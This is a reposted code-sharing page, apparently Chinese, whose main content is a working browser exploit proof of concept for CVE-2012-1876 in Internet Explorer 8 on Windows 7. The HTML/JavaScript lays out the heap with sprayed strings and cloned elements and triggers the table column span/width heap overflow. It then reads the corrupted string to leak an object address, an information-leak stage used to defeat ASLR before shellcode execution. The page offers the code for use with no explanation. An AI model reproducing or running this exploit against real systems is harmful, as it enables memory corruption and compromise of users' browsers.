您的位置:首页 > 运维架构 > Shell

cve-2012-1876 win7_ie8_leak_shellcode code

2012-08-08 12:55 501 查看
<html>
<body>
<div id="test"></div>

<script>

alert("begin")

//var div_container = document.getElementById("test");
//div_container.style.cssText = "display:none";
var cloned = new Array();
var selob = document.createElement("select");
selob.w0 = "AMSZZABCDEFGHIJKLMN"//shellcode
selob.w1 = this;
selob.w2 = new Array();
selob.w3 = true;
selob.w4 = 0x41424344;
selob.w5 = document.createElement("marquee");
selob.w6 = undefined;
selob.w7 = null;
selob.w8 = alert;
selob.w9 = RegExp.$1;
selob.w10 = Infinity;
selob.w12 = 0x41424344;
selob.w13 = 0x41424344;
selob.w14 = 0x41424344;
selob.w15 = 0x41424344;
selob.w16 = 0x41424344;

var fillbuff = new Array();
var string_A="CORE1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

var string_B="CORE2BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";

var string_C="CORE3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC";

for(var i=0;i<3000;i+=4)
{
fillbuff[i]=string_A.substr(0,125);
fillbuff[i+1]=string_B.substr(0,125);
fillbuff[i+2]=string_C.substr(0,125);
fillbuff[i+3]=selob.cloneNode(true);
}

alert("select")

for(var i=4;i<3000;i+=12)
{
fillbuff[i]=null;
}
CollectGarbage();

alert("layout the heap")

</script>

<table style="table-layout:fixed" >
<col id="132" width="41" span="9" >  </col>
</table>

<script language='javascript'>

var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 19;

function overtar()
{
var leak_addr = -1;
alert(1)
for ( var i = 2; i < 3000; i+=4 )
{

if ( fillbuff[i].length > (0x100-6)/2 ) { // overflowed
leak_index = i;
//var leak = fillbuff[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
var leak = fillbuff[i].substring((0x100-6)/2+(2+8+12)/2, (0x100-6)/2+(2+8+12+4)/2);
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
//mshtmlbase = leak_addr - Number(0x001582b8);
alert(leak_addr);
break;
}
}

}
//get object address

setTimeout("overtar();",1);

</script>
</body>
</html>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: